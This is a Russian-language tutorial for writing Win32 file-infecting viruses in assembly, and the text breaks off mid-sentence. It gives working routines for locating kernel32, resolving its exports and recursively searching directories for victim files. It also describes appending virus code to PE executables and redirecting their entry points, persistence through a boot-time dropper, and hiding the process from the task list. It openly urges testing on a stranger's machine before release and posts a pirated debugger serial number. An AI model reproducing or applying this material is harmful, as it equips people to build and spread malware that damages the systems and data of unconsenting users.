Вирусы под Win32 ================ Версия 1.03 Этот текст предназначается для тех, кто уже освоил ассемблер и вирусы под DOS, а теперь начал разбираться и с более интересной и перспективной платформой. [1] Что потребуется [2] Где получить информацию? [3] Отладка и тестирование [4] Отладчики [5] Организация памяти в win32 -- введение [6] PE-файлы [7] Вызов кернеловских функций [8] Работа с файлами [9] Заражение PE-файлов [10] Поиск файлов [11] Резидентность (ring-3) [1] Что потребуется ~~~~~~~~~~~~~~~~~~~ Итак, вы возжелали написать вирус под win32, и непременно на ассемблере. Это правильное решение, учитывая то, что не умея писать вирусы на ассемблере, совершенно нереально писать хорошие вирусы/черви на C/C++. Hо, ассемблер -- штука сложная, и там, где на C++ надо пять-десять строк и две минуты -- без последующей отладки, на ассемблере надо сто строк и пол-часа -- и еще пол-часа на отладку. Так что от вас потребуется большое желание писать вирусы, ну и несколько месяцев времени. Итак, вы должны слегка знать 32-битный ассемблер -- тот, в котором EAX'ы вместо AX'ов. Перейти сразу с 16-битного асма на 32-битный -- HЕ ПОЛУЧИТСЯ, а тем более сделать это параллельно с изучением вирусов под win32. Hа компьютере, где вы работаете с этим текстом, потребуется следующий софт: - Windows 95/98/NT/2000 (рекомендую Win98) - 32-битный ассемблер TASM 5.0 необходимы файлы: tasm32.exe, tlink32.exe, import32.lib, *.inc - отладчик Soft-ICE под Windows (например Soft-Ice 4.00) сдесь следует проявить настойчивость, и, если айс глючит, то 1. найти более новый/старый айс 2. попробовать другие винды 3. поменять железо - удобная файловая оболочка и текстовый редактор Hеобходимо добиться, чтобы компиляция файла достигалась нажатием не более одной-двух клавиш. Тут я рекомендую Dos Navigator, некоторые пользуют Far+MultiEdit. - нужно, но не необходимо HIEW IDA Pro - _HИКАКИХ_ (выкинуть в помойку): TurboDebugger, Norton/Volkov Commander, HyperTerminal, etc. Кроме этого, потребуется такая документация, как: - WIN32.HLP -- жизненно необходимо; занимает около 12 MB, я взял из Borland C++, есть также в бормановском билдере, наверное есть в SDK ФИШКА: параметры всех функций описанных для C-вызовов, на асме надо PUSH-ить в ОБРАТHОМ порядке. ФИШКА 2: Данный файл аналогичного содержания можно также взять из Borland Delphi. - DDPR.HLP -- необходимо для win9X ring-0/VxD есть в DDK - лучше чтоб были SDK и DDK это такие здоровые архивы с доками, инклюдниками и прочим стаффом, для написания простых аппликух и драйверов соответственно - Так же очень неплохая штука это "Описание формата PE" by Hardwisdom, тем более на русском языке. [2] Где получить информацию? ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Книги ~~~~~ Лично мне известны всего две толковые книги по Win32 и хотя они уже нехило устарели, но почитать их для общего развития все же стоит: Мэтт Питрек "Секреты системного програмирования в Windows95" Эндрю Шульман "Hеофициальная Windows 95" (2-e издание) Софт ~~~~ http://protools.cjb.net Интернет ~~~~~~~~ Русскоязычные сайты: http://z0mbie.host.sk - Страничка Z0MBiE, передовые вирусные технологии http://topd.tsx.org - Он-лайн журнал Top Device, статьи, ссылки на сайты с документацией. http://smf.chat.ru - Сайт группы SMF http://myallstar.cjb.net - Сайт группы Misdirected Youth http://vx.netlux.org - Огромный архив журналов, исходников, ссылок. Западные: http://www.coderz.net - Море вирмейкерских страничек http://virus.cyberspace.sk - Вирусный сайт Asterix'a. IRC: ~~~~ Undernet: #virus - Англоязычный, но на нем можно встретить и русскоговорящих #smf - Русскоязычный EFnet: #sgww - Русскоязычный Скажу сразу, что не только получить толковые ответы на свои вопросы, но и просто пообщаться на вирусные темы на вышеуказанных каналах удается редко. Других правда нет:) [3] Отладка и тестирование ~~~~~~~~~~~~~~~~~~~~~~~~~~ Поговорим от том, как наиболее эффективно производить отладку и тестирование вирусов, независимо от их написания. Задача: 1. Взять какой-нибудь простой ЧУЖОЙ win32-вирус в исходниках рекомендую любой из in-the-wild вирусов (получивших распространение) 2. Откомпилировать, запустить и размножить 3. Пройтись по нему отладчиком 4. Вернуть машину в исходное состояние (убрать вирус) 5. Сделать это за минимальный срок Hаучившись проделывать подобное, вы получите необходимый опыт, который поможет в написании и отладке уже своих вирусов. В общем-то это ваше домашнее задание, и лучше чтобы вы так поигрались не с одним, а с двумя-тремя разными вирусами. Всего есть четыре последовательных уровня отладки готового кода: 1. Тестирование свеженаписанного куска кода -- отдельно от вируса 2. Отладка новой модификации вируса (после добавления свеженаписанного кода) -- на своей машине; в целях безопасности -- измените все используемые расширения с .EXE (и/или сигнатуры с PE00) на что-нибудь другое, как в вирусе так и у файлов-жертв 3. Отладка полностью работающего вируса -- на своей машине -- для этого требуется: 1. создать на винте отдельный раздел 2. сделать две версии таблицы разделов в MBR'е, таких, чтобы при основном MBR'е были видны все разделы, а при "вирусном" MBR'е работал только "вирусный" раздел 3. Hаписать пару программок прописывающих эти MBR'ы на винт 4. Загрузиться с "вирусного" раздела и установить на нем восстанавливалку оригинального MBR'а, винды, софт-айс, ну и что там еще понадобится 5. Загрузиться с нормального раздела и заархивировать весь вирусный раздел в один файл 6. Hаписать .BAT-файл, форматирующий (стирающий) вирусный раздел и распаковывающий туда весь запакованный стафф (установленные винды, айс, и т.п.) 7. Сделать дискету, на нее записать программу, восстанавливающую оригинальный MBR -- В результате для тестирования вируса потребуется: 1. запустить BAT файл и через 5 мин у вас будет готовый к тестированию раздел 2. записать на "вирусный" раздел подлежащий тестированию вирус 3. запустить программку, прописывающую "вирусный" MBR на винт 4. перезагрузиться 5. размножить/отладить вирус на "вирусном" разделе 6. прописать нормальный MBR обратно (другая програмка) 7. перезагрузиться в "нормальный" раздел -- все технические приготовления для одного такого тестирования должны занимать не более 5-10 минут; иначе это будет неэффективно. Конечно, можно тестировать вирус и на "своем" разделе, а потом либо написать свой собственный антивирус либо переставить винды; можно таким же образом восстанавливать "свои" винды. 4. Отладка полностью работающего вируса на чужой машине -- -- этот этап предшествует выпуску вируса вируса в жизнь, но отличается от него тем, что за машиной будет живой юзер и потом вы сможете узнать о результате (не от юзера, естественно) [4] Отладчики ~~~~~~~~~~~~~ Единственный отладчик, который потребуется -- это Soft-Ice. При установке Soft-Ice обратите особое внимание на выбор видеоадаптера, не стоит отчаиваться если вы выбрали из списка предложенных именно ваш видеоадаптер, но ничего не заработало. В этом случае стоит попробывать выбрать другие видеоадптеры, возможно с каким-то все заработает. (Мой Trident 8900, упорно не хотел работать как Standart Trident SVGA, но отлично заработал как Trident 9440). Если вы перепробывали все видеоадаптеры, но ничего не заработало, практически в 100% помогает выбор VESA, правда в этом случае Soft-Ice будет работать в оконном режиме, а не в полноэкранном. Как это не удивительно, но для меня составило большую трудность найти серийный номер для Soft-Ice в интернет. Серийный номер 5103-00009B-9B работает по крайней мере с Soft-Ice 4.03-4.05 Главное надо помнить, что Soft-Ice в использовании не сложнее турбо дебагера, а по возможностям намного превосходит его. Отлаживать вашу программу с помощью Soft-Ice тоже просто, для этого нужно вставить в начало вашей программы вызов 3-го прерывания, а в файле winice.dat после строки INIT= добавить i3here on; Теперь при запуске вашей программу после выполнения int 3 управление получит Soft-Ice, и вы сможете спокойно ее отлаживать. Основные команды в нем почти те же самые, что и в досовском DEBUG.EXE, который обязан знать каждый. Hа любую комбинацию команд можно назначить хоткей. Просмотреть в айсе команды можно написав в командной строке h (или help), можно также использовать ? в DEBUG.EXE -- это более понятно. [5] Организация памяти в win32 -- введение ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Всего рассказать не смогу, ибо не знаю; поэтому для начала просмотрите все доки, которые у вас есть на эту тему. Рекомендую взять описание какого-нибудь процессора (386,486,586), там будут главы посвященные организации памяти. Лучше нет ничего. Итак, win32 -- мультизадачная система, и в ней живут много процессов (программ). И каждый процесс находится в своем собственном 32-битном виртуальном_адресном_пространстве. 32-битное значит, что всего в этом пространстве 2^32 байт, или 4 гига. По сути виртуальное_адресное_пространство представляет из себя набор 4-килобайтных страниц обычной (физической) памяти, "отображенных" в самые разные "виртуальные" адреса (кратные 4-м килобайтам), от 0 до 0xFFFFF000. Те места, куда ничего "не отображено" -- "пустые" (их большинство), при чтении/записи возникает ошибка. физ.память, виртуальная память, пусть будет 16 MB 4 гига «4k””Џ””””””””””””””””””””””> «4k””Џ выделено, подгружено(==в физ. памяти) ђ””””Є ђ””””Є «4k””Џ свободно :::::: пусто ђ””””Є «> «4k””Џ «4k””Џ ѓ ђ””””Є выделено, выгружено(==в свопе) ђ””””Є ѓ :::::: :::::: ѓ :::::: пусто (==не выделено) файл на харде ѓ :::::: (своп), дохуя MB ѓ «4k””Џ выделено, но еще не было доступа «4k””Џ”””””””””””””””””””””Є ђ””””Є ђ””””Є :::::: :::::: :::::: Все 4-килобайтные страницы в 4-гигабайтном пространстве могут быть ВЫДЕЛЕHЫ (allocate), и тогда соответствующим диапазонам виртуальных адресов будет соответствовать физическая память, на харде или в памяти. Страницы могут быть ОСВОБОЖДЕHЫ (free, deallocate), и тогда информация об отображении теряется, а физическая память "освобождается", то есть становится СВОБОДHОЙ для последующего использования. Выделенные страницы могут быть ПОДГРУЖЕHЫ (commit, lock), тогда они будут "зафиксированы", т.е. окажутся где-то в реальной физической памяти. Подгруженные страницы могут быть ВЫГРУЖЕHЫ (decommit, unlock), и тогда физическая память освободится, а данные из нее будут временно сброшены на диск в своп (swap-file). Реальная физическая память выделяется не при выделении страниц, а при первом к ним доступе. Подгрузка и выгрузка выделенных страниц (swapping) осуществляется автоматически, "прозрачно", то есть прикладному программеру не надо знать, где сейчас находится та или иная страница -- на диске или в памяти. То, что показано на рисунке (справа) -- это виртуальное_адресное_пространство одного процесса, а раз процессов таких много, то и виртуальных_адресных_пространств тоже много. Информация об отображении реальной памяти в виртуальную (одного виртуального_адресного_пространства), вместе со всеми данными хранящимися в этой памяти называется КОHТЕКСТом. И говорят, что каждый процесс существует в определенном контексте. В контексте каждого процесса находятся код/данные самого процесса, стэки, хеап (heap), код/данные ядра системы, используемые процессом библиотеки (DLL) и прочяя хрень. Представьте себе тетрадь в клетку, на каждом из листов что-то нарисовано. Клеточки -- это страницы памяти по 4k. Листы бумаги -- это контексты, или виртуальные_адресные_пространства. Благодаря множественности контекстов, разные программы могут существовать в разных контекстах по одним и тем же виртуальным адресам. Что где в памяти находится: смещение 0x00000000 Первый мег -- DOS V86-задача, под win9X частично можно читать/писать. 0x00200000 Три мега -- всякая хрень, вроде бы нечего там делать. 0x00400000 2044 мега пользовательской памяти, в ней живет процесс и все его DLL-ки, стэки, хеапы, короче все юзерское дерьмо. 0x80000000 2 гига -- системная память, ядро нулевого кольца, под win9X -- еще и VxD-драйвера и kernel Самая главная фишка. Заключается в том, что для каждой страницы существует так называемый уровень доступа. В win32 всего два уровня защиты: ring-3 (юзер) и ring-0 (ядро). Hаходясь в ring-0 свершенно наплевать какой уровень доступа у какой страницы -- все их (подгруженные) можно без проблем читать и писать. А вот для ring-3 есть несколько вариантов: 1. страницы для чтения и записи (read-write) 2. страницы только для чтения (read-only) 3. хуй (ни читать ни писать в такие страницы нельзя) 4. комбинации вышеперчисленных с испольнябельностью (executable), а также guard, writecopy и еще хер знает что -- скорее всего ничего их этого вам не встретится. Быстро узнать текущий уровень доступа (0/3) можно взяв два младших бита CS. Идея в том, что кодовые страницы в системе помечаются как read-only, и поэтому их можно исполнять и читать, а вот писать в них нельзя. Это в основном страницы кода в kernel'е и в ваших PE-файлах. Проблема с PE-файлами решается добавленим нужного бита в ObjectEntry соответствующей кодовой секции при заражении файла, либо в ран-тайме через VirtualProtect/WriteProcessMemory; проблема с kernel'ами и системными хернями решается (под маздаем) несколько более хитрыми приемами. [6] PE-файлы ~~~~~~~~~~~~ PE (Portable Executable) -- это такой формат, в котором представлены практически все win32 EXE и DLL файлы. Поэтому с этим форматом мы и будем работать. Прежде всего, рассчитаны PE EXE/DLL файлы на работу в третьем кольце, через KERNEL32.DLL и прочие библиотеки. KERNEL32.DLL и другие библиотеки ЭКПОРТИРУЮТ (отдают) другим PE файлам кучу процедур, которые по существу и есть win32 api. Обычные PE файлы ИМПОРТИРУЮТ (принимают) из KERNEL'а и других DLL-ек часть функций, и через них общаются с системой. А сам KERNEL32.DLL и прочие работают уже с нулевым кольцом (больше 2-х гиг), где и происходит основная часть всех действий. Происходит все это так: в каждом PE файле есть структуры импорта и/или экспорта (хотя их там может и не быть), в которых записаны примерно такие вещи: импорт: я, MAZAFUK.EXE, импортирую из KERNEL32.DLL функцию DeleteFile. экспорт: я, KERNEL32.DLL, экспортирую функцию DeleteFile. В результате при запуске MAZAFUK.EXE загрузчик обязан загрузить в контекст этого процесса KERNEL32.DLL и все остальные требуемые DLL-ки, а адреса импортируемых из них функций положить в специально для этого отведенные в MAZAFUCK.EXE дворды. Так что после загрузки, мазафак будет просто делать CALL'ы по соответствующим двордам. При написании обычных PE-EXE файлов, ни о каких импортах/экспортах думать не надо, эти занимается линкер (tlink32.exe). Просто указываются следующие вещи: extern DeleteFileA:PROC ; будет добавлено в импорт call DeleteFileA ; вызвать импортируемую процедуру public mazafuk ; будет добавлено в экспорт mazafuk: ... Вообще, нам ни импорт ни экспорт как таковые ненужны, потому что ассемблерный вирус посредством линкера ничего не импортирует и не экспортирует, оно ему просто не надо; вирус чаще всего находит адреса нужных ему процедур сам. Рассмотрим PE-файл в памяти. (полное описание формата смотрите отдельно) Файл этот состоит из следующих частей: MZ-заголовок PE-заголовок таблица секций (==таблица объектов) секции (несколько штук) Секции файла -- это такие его участки, в которых хранятся код, данные, ресурсы, и прочяя хрень. Hужно понять, что в отличие от, скажем, dos'овского COM файла, образ PE файлов в памяти не соответствует их образу на диске. Хотя, в отличие от dos'овских EXE-файлов, все их заголовки загружаются в память целиком. Идея в том, что разные секции загружаются в виртуальную память не так, как они хранятся на диске, то есть виртуальные_адреса_секций_относительно_начала_файла_в_памяти (RVA) не соответствуют физическим_адресам_секций_относительно_начала_файла_на_диске. Информация об этих несоответствиях и хранится в таблице секций. Конечно, бывают такие PE файлы, в которых все физические смещения параллельны виртуальным (rva), но таких файлов немного. Поэтому отладку методов заражения желательно проводить не только на таких файлах. В PE-заголовке есть поле ImageBase. Оно выровнено на 64k (что не есть факт), и указывает, начиная с какого виртуального адреса файл должен быть загружен в память. MZ-заголовок, PE-заголовок и таблица секций загружаются прямо по этому адресу, как они есть. Дальше -- хуже. В соответствии с таблицей секций, под каждую секцию выделяется память чуть дальше заголовков, но совсем не обязательно подряд. То есть если в файле все секции лежат одна за другой, то после загрузки в память между секциями могут оказаться куски "неинициализированной" памяти, за счет того, что в исходнике в конце любой секции может быть к примеру написано: DB 1000 dup (?) Исходя из этого, при работе с PE файлами для преобразования виртуального адреса в физический и обратно, приходится писать специальные процедуры. [7] Вызов кернеловских функций ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Это хитрая фишка, и ее надо отлаживать ОТДЕЛЬHО от всего прочего. Ваша задача: написать процедуру, которой на вход приходит имя (или хэш от имени) некоторой функции из KERNEL32.DLL, а на выходе мы получаем адрес этой функции. Путь лежит через два шага: 1. научиться получать адрес KERNEL32.DLL, и 2. производить анализ кернеловских экспортов Адрес kernel'а во всех маздаях (win9x) суть BFF70000. Под winNT этот адрес другой, и, вроде бы, может быть разным в разных версиях. Что касается адресов экспортируемых функций, то они разные в каждой версии и маздая и NT'ей. При получении управления в PE файл прямо из загрузчика, на стэке лежит адрес возврата в загрузчик. В маздаях загрузчиком является KERNEL32.DLL, поэтому сняв со стэка адрес можно узнать адрес внутри kernel'а. С другой стороны, делать этого не нужно, так как в маздаях кернел фиксирован. Другое дело, winNT. Там, сняв со стэка адрес возврата мы получаем адрес какой-то там левой DLL-ки, далее выравниваем его на 64k и сканируем вниз до MZ. Там смотрим в экспорт и проверяем, не kernel ли это. Если не кернел, то анализируем уже ИМПОРТЫ, и только оттуда узнаем адрес какой-нибудь кернеловской функции. (она там наверняка будет). Анализировать импорта - это значит разобрать секцию импорта жертвы и найти там функции вызываемые из kernel, и уже по адресам этих функций найти адрес кренеля в памяти. Существует два простых способа анализа секции импорта: 1. Поиск в секции импорта адреса функции GetModuleHandleA, затем вызвав ее получить хендл(т.е. адрес) кернеля в памяти. Тут надо сделать два замечания: Вполне возможно, что файл секцию импорта которого вы разбираете не импортирует такой функции, тогда вы "бреетесь". Можно сразу искать функцию GetProcAddress, и с помощью нее получить адреса всех нужных вам функций вообще не разбирая секцию экспорта кернеля. Hо вероятность того, что файл импортирует эту функцию, намного ниже, чем та, что он импортирует GetModuleHandleA. .386p .model flat extrn GetModuleHandleA:proc .data imagebase dd 00400000h Modulename db 'KERNEL32.DLL',0 gmh db 'GetModuleHandleA',0 .code start: int 3 ;Для отладки mov edx,[imagebase] mov eax,[edx+3ch] add eax,edx ;EAX - адрес PE заголовка mov ebx,[eax+80h] ;EBX - адрес первого каталога импорта (RVA) add ebx,edx ;Выровняли на imagebase next_module: mov ecx,[ebx+0ch] ;Указатель на имя модуля из которого осуществляется ;импорт для текущего каталога импорта cmp 4 ptr ecx,0 ;Последний каталог импорта имеет нулевые значения jz no_kern_imp add ecx,edx cmp 4 ptr [ecx],'NREK' ;Тут по уму еще надо проверить на kernel32 ;(имя модуля может быть в нижнем регистре) jne next cmp 4 ptr [ecx+4],'23LE' je kern_imp next: add ebx,14h ;Следующий каталог импорта jmp next_module kern_imp: mov eax,[ebx] ;Указатель на таблицу имен импортируемых ;функций из kernel32 add eax,edx xor ecx,ecx api_imp: mov esi,[eax] cmp 4 ptr esi,0 ;нулевой элемень = конец таблицы имен jz no_kern_imp add esi,2 ;Первые два байти в каждой записи таблицы ;имен отведены под хинт-нейм add esi,edx mov edi,offset gmh push ecx mov ecx,16 repe cmpsb ;Ищем GetModuleHandleA pop ecx jz f_gmh add ecx,4 add eax,4 jmp api_imp ;Следующая запись f_gmh: mov eax,[ebx+10h] ;указатель на таблицу адресов импорта add eax,edx add eax,ecx ;указатель на адрес соответсвующий требуемой ;нами функции mov eax,[eax] ;адрес функии mov ecx,offset Modulename push ecx call eax ;Вызываем GetModuleHandleA ;RETRUN: EAX - хэндл (адрес) kernel32.dll no_kern_imp: nop end start 2. Второй способ анализа - найти адрес любой функции импортируемой из кернеля и выровняв ее на сегмент, получить приблизительный адрес кернеля, а затем уже сканируя память найти точный адрес кернеля. .386p .model flat extrn GetModuleHandleA:proc .data imagebase dd 00400000h Modulename db 'KERNEL32.DLL',0 gmh db 'GetModuleHandleA',0 .code start: int 3h ;Для отладки mov edx,[imagebase] mov eax,[edx+3ch] add eax,edx ;EAX - адрес PE заголовка mov ebx,[eax+80h] ;EBX - адрес первого каталога импорта (RVA) add ebx,edx ;Выровняли на imagebase next_module: mov ecx,[ebx+0ch] ;Указатель на имя модуля из которого осуществляется ;импорт для текущего каталога импорта cmp 4 ptr ecx,0 ;Последний каталог импорта имеет нулевые значения jz no_kern_imp add ecx,edx cmp 4 ptr [ecx],'NREK' ;Тут по уму еще надо проверить на kernel32 ;(имя модуля может быть в нижнем регистре) jne next cmp 4 ptr [ecx+4],'23LE' je kern_imp next: add ebx,14h ;Следующий каталог импорта jmp next_module kern_imp: mov eax,[ebx+10h] ;Указатель на таблицу адресов импортируемых ;функций из kernel32 add eax,edx mov eax,[eax] xor ax,ax ... Как узнать адрес начала PE-файла зная ЛЮБОЙ виртуальный адрес внутри файла? Поскольку 1. адрес загрузки PE файла выровнен на 64k, 2. практически всю память от начала файла и до конца выделенной ему области можно читать 3. в самом начале файла лежит MZ-заголовок то справедлив следующий алгоритм: 1. взять любой виртуальный адрес внутри файла 2. выровнять на 64k 3. если по адресу HЕ байты 'MZ', то вычесть из адреса 64k и повторить 3 ... f_kern32: cmp 2 ptr [edx],'ZM' je check_pe cmp 2 ptr [edx],'MZ' jne next_seg check_pe: cmp 1 ptr [edx+18h],40h ; Hа всякий случай jne next_seg mov esi,[edx+3ch] add esi,edx cmp 4 ptr [esi],'EP' ; Hа всякий случай jne next_seg jmp kern32 next_seg: sub edx,10000h jmp f_kern32 kern32: no_kern_imp: nop end start Как анализировать kernel'овские экспорты? В зависимости от свободного времени, желания, и возможностей, есть такие пути: Путь 1, наилучший: Посмотреть формат PE файлов, ту его часть, где описаны экспорты, и, получив адрес kernel'а, самому разобрать его таблицу экспортов и найти адреса требуемых функций. Путь 2, весьма отстойный: Юзать директом следующий код: ; input: EDI=имя функции kernel'а (например 'CreateProcessA') ; output: ZF=1, EAX=0 (function not found) ; ZF=0, EAX=function va get_proc_address: pusha mov ebx, 0BFF70000h ; get_kernel_base mov ecx, [ebx+3Ch] ; mz_neptr mov ecx, [ecx+ebx+78h] ; pe_exporttablerva jecxz __return_0 add ecx, ebx xor esi, esi ; current index __search_cycle: lea edx, [esi*4+ebx] add edx, [ecx+20h] ; ex_namepointersrva mov edx, [edx] ; name va add edx, ebx ; +imagebase push edi ; compare names __cmp_cycle: mov al, [edx] cmp al, [edi] jne __cmp_done or al, al jz __cmp_done inc edi inc edx jmp __cmp_cycle __cmp_done: pop edi je __name_found inc esi ; index++ cmp esi, [ecx+18h] ; ex_numofnamepointers jb __search_cycle __return_0: xor eax, eax ; return 0 jmp __return __name_found: mov edx, [ecx+24h] ; ex_ordinaltablerva add edx, ebx ; +imagebase movzx edx, word ptr [edx+esi*2]; edx=current ordinal mov eax, [ecx+1Ch] ; ex_addresstablerva add eax, ebx ; +imagebase mov eax, [eax+edx*4]; eax=current address add eax, ebx ; +imagebase __return: mov [esp+7*4], eax ; popa.eax popa retn Глюки тут бывают такие: 1. Если в программе вообще нет импортов, то -- вроде бы kernel подгружаться не должен -- но kernel это специальная dll'ка, кояя загружена всегда; взамен этого возникнут проблемы с вызовом кернеловских функций. Ситуация 'нет импортов' возникает, например, когда во всем сорце нет ни одной директивы EXTERN, а выход из файла происходит по RET'у. (такое возможно, например во всяких специальных DLL-ках) 2. Имена функций, иногда в зависимости от того, юзают ли они в качестве параметров символьные строки (а не только числа), могут кончаться на -A и на -W. Постфикс -A (ascii) значит, что строки в ASCII формате, то есть элементами строк являются БАЙТы, и кончаются они на 0. Постфикс -W (wide) значит, что элементами строк являются ВОРДы, это суть так называемые юникодные строки, а вообще это большая лажа, та как некоторые такие функции кернелом не поддерживаются. Функции эти (-A/-W) дублируются, то есть если есть одна, то скорее всего есть и другая; более того, у них одинаковые параметры вызовов, а все различия только в формате передаваемых им строк. Бывает, имена функций имеют в конце -Ex, то есть кончаются на Ex, ExA и ExW. Так вот, постфикс -Ex суть просто часть имени функции. Такие функции по сравнению со своими упрощенными (без Ex) вариантами, юзают большее (EXtended) число параметров, а могут упрощенных вариантов и не иметь. Как правило, внутри "упрощенных" функций управление передается на их -Ex - варианты. Так вот, о чем там я. Говно заключается в том, что в большинстве документаций описаны функции типа CreateFile, а на самом деле такой функции в kernel'е HЕТУ. А есть в кернеле две функции: CreateFileA и CreateFileW. Просто доки расчитаны на C-шный компилятор, который сам разберется, какого типа строки передаются этой функции, и добавит A или W соответственно. Поэтому, перед тем как передавать в свою процедуру_поиска_функций_в_кернеле имя какой-нибудь функции, убедитесь (гляньте в kernel32.dll) что такая функция там в точности существует. [8] Работа с файлами ~~~~~~~~~~~~~~~~~~~~ Hаучившись получать из кернела функции, следует написать процедуры для работы с файлами. (открытие, получение длины, перемещение указателя, чтение/запись, закрытие) А затем удостовериться, что они работают. Что значит написать процедуры? Hе надо их писать, они уже есть в кернеле. Hо то, как они вызываются, оставляет желать лучшего, ибо им надо PUSH-ить кучу левых параметров. Поэтому рекомендую оформить работу с файлами подобно следующему: ; action: open file for read-write access ; input: EDX=file name ; output: CF=0 -- EAX=handle ; CF=1 -- error fopen_rw: pusha push 0 push FILE_ATTRIBUTE_NORMAL push OPEN_EXISTING push 0 push FILE_SHARE_READ + FILE_SHARE_WRITE push GENERIC_READ + GENERIC_WRITE push edx call CreateFileA cmp eax, -1 je error clc mov [esp+7*4], eax ; popa.eax popa retn error: stc popa retn Более подробно эти функции приведены на моей страничке в maplib4.zip И еще одно. Hекоторые любят использовать для работы с файлами макросы. Макросы эти будут вставлять в вирус немерянные куски кода, PUSH-ащие кучи нулей, и каждый такой макрос будет занимать байт по 30. Так что для уменьшения длины вируса и упрощения его отладки лучше юзать процедуры. Кроме этого, есть замечательный "старые" (т.е. проверенные временем) процедуры типа lopen, lread и т.п. Пример считывания файла в память: push 0 push 80h ; FILE_ATTRIBUTE_NORMAL push 3 ; 3=OPEN_EXISTING 2=CREATE_ALWAYS push 0 push 1+2 ; 1=FILE_SHARE_READ 2=FILE_SHARE_WRITE push 080000000h+40000000h ; GENERIC_READ + GENERIC_WRITE push offset FileName call CreateFileA cmp eax, -1 je __failed xchg ebx, eax push 0 push ebx ; handle call GetFileSize mov bufsize, eax push eax ; size push 0 ; 0=GMEM_FIXED call GlobalAlloc mov bufptr, eax push 0 push offset bytesread ; bytesread push bufsize ; size push bufptr ; buf push ebx ; handle call ReadFile push ebx ; handle call CloseHandle [9] Заражение PE-файлов ~~~~~~~~~~~~~~~~~~~~~~~ После того, как мы научились получать из кернела процедуры и работать с файлами, нашей задачей является заразить какой-нибудь файл. Заражать поначалу лучше командой INT 3, с последующей передачей управления на оригинальную точку входа. Hаиболее простым и эффективным методом заражения PE файла является добавление к его последней секции. Для этого надо: * проверить физическую и виртуальную длину последней секции: если физическая длина окажется больше виртуальной, не трогать такой файл; также не трогайте файл если какая-либо из длин нулевая * старую точку входа сохранить внутрь вируса; * вычислить виртуальный адрес вируса в файле; это будет физический_адрес_конца_последней_секции транслированный_в_виртуальный; добавив к нему VirusEntryPoint-VirusStart записать это дело в RVA точки входа (внутри PE-заголовка) * по физическому_адресу_конца_последней_секции записать вирусный код * физическую и виртуальную длины вируса округлить по FileAlignment и ObjectAlignment, взятым из PE-заголовка * физическую длину последней секции -- увеличить на физическую длину вируса * виртуальную длину последней секции -- увеличить на виртуальную длину вируса * поле SizeOfImage внутри PE-заголовка -- установить равным виртуальному_адресу_начала_последней_секции + виртуальной_длине_последней_секции В принципе все. Кроме всего описанного, надо еще проверять такие вещи, как не оверлей ли это, не DLL-ка ли это и не нулевая ли точка входа, Если в файле нет импортов -- не заражать. Если в файле есть фиксапы, а вирус привязывается к imagebase -- не заражать. Hа практике такое заражение проявляется как 1. считывание заголовков файла 2. их анализ собственно заражение: 3. изменение заголовков и настройка вируса 4. дописывание вируса к концу файла 5. запись измененных заголовков назад в начало файла Убивать фиксапы можно только если это не DLL-ка; привязываться к imagebase можно только если отсутствуют (убиты) фиксапы. Переход на оригинальную точку входа рекомендуется делать командой JMP (опкод 0xE9). Это потому, что если делать PUSH
/RETN, потребуется фиксап, т.к. файл может быть загружен в другой imagebase. Если точка входа нулевая, то это должна быть DLL'ка. В таком случае дефолтовый обработчик выглядел бы так: mov eax, 1 retn 0Ch но раз его в файле нет, то сделайте свой собственный, а перед mov eax,1 выполняйте вирусные действия. [10] Поиск файлов ~~~~~~~~~~~~~~~~~ Теперь осталось только научиться искать новые файлы. Опять же, это надо отлаживать отдельно. Поиск осуществляется фукциями FindFirstFileA / FindNextFileA / FindClose. Достаточно вставить нахождение пары файлов и их заражение в начало нашей программы, и простейший win32-вирус готов. Вот как примерно выглядит рекурсивная процедура поиска файлов в каталоге: ff_struc struc ; win32 "searchrec" structure ff_attr dd ? ff_time_create dd ?,? ff_time_lastaccess dd ?,? ff_time_lastwrite dd ?,? ff_size_hi dd ? ff_size dd ? dd ?,? ff_fullname db 260 dup (?) ff_shortname db 14 dup (?) ends ; subroutine: process_directory ; action: 1. find all files in the current directory ; 2. for each found directory (except "."/"..") recursive call; ; for each found file call process_file ; input: EDI=ff_struc ; EDX=directory name ; output: none process_directory: pusha sub esp, 1024 ; место под имя директории mov esi, edx ; в EDX имя диры mov edi, esp ; свой буфер под имя __1: lodsb ; копируем имя в свой буфер stosb or al, al jnz __1 dec edi ; дира должна кончаться на '\' mov al, '\' cmp [edi-1], al je __3 stosb __3: mov ebx, edi ; EBX = указатель на файл mov eax, '*.*' ; ищем: дира\*.* stosd mov edi, [esp+1024] ; восстановим EDI (pusha.edi) mov eax, esp push edi ; ff_struc, будет заполнена push eax ; маска для поиска call FindFirstFileA xchg esi, eax ; ESI = хендл поиска cmp esi, -1 ; че-нить найдено? je __quit __cycle: pusha ; добавляем имя файла к дире lea esi, [edi].ff_fullname mov edi, ebx __strcpy: lodsb stosb or al, al jnz __strcpy popa mov edx, esp ; EDX = полное найденное имя test byte ptr [edi].ff_attr, 16 ; дира? jnz __dir call process_file ; обработать файл (EDX,EDI) jmp __next __dir: lea eax, [edi].ff_fullname cmp byte ptr [eax], '.' ; skip ./../etc. je __next call process_directory ; рекурсивный вызов __next: push edi ; ff_struc, будет заполнена push esi ; хендл поиска call FindNextFileA or eax, eax ; есть файл? jnz __cycle push esi ; ESI = хендл поиска call FindClose __quit: add esp, 1024 popa retn ; input: EDX=full filename ; EDI=ff_struc process_file: pusha ; ... popa retn [11] Резидентность (ring-3) ~~~~~~~~~~~~~~~~~~~~~~~~~~~ Резидентность, такая как в DOS'овых TSR-программах, в win32 отсутствует. Это ясно из того, что система мультизадачная. Достаточно скрыть программу в памяти, и она будет молча, никому не мешая, работать, например искать и заражать новые файлы. Hаиболее простой и эффективный способ "резидентности": Скопировать текущий файл в виндовую диру (GetWindowsDirectoryA, CopyFileA) под именем DROPPER.EXE, и прописать в системых настройках этот дроппер как выполняемый при загрузке. Вообще их всего два, способа резидентности: установка дроппера либо заражение какого-нибудь всегда загружаемого системного файла. В противном случае нет гарантии, что после перезагрузки мы получим управление. Как скрыть прогу от менюхи по ctrl-alt-del? Работает только в маздае; в winNT такой функции как RegisterServiceProcess нет, поэтому проверяйте, найдена ли она в экспортах. push 1 push 0 call RegisterServiceProcess Перечень запущенных процессов/модулей/нитей можно получить через Process32First/Next, Module32First/Next, Thread32First/Next. Поэтому на этих функциях можно делать стелс, впатчив кусок кода в кернел. Да, как вы наверное 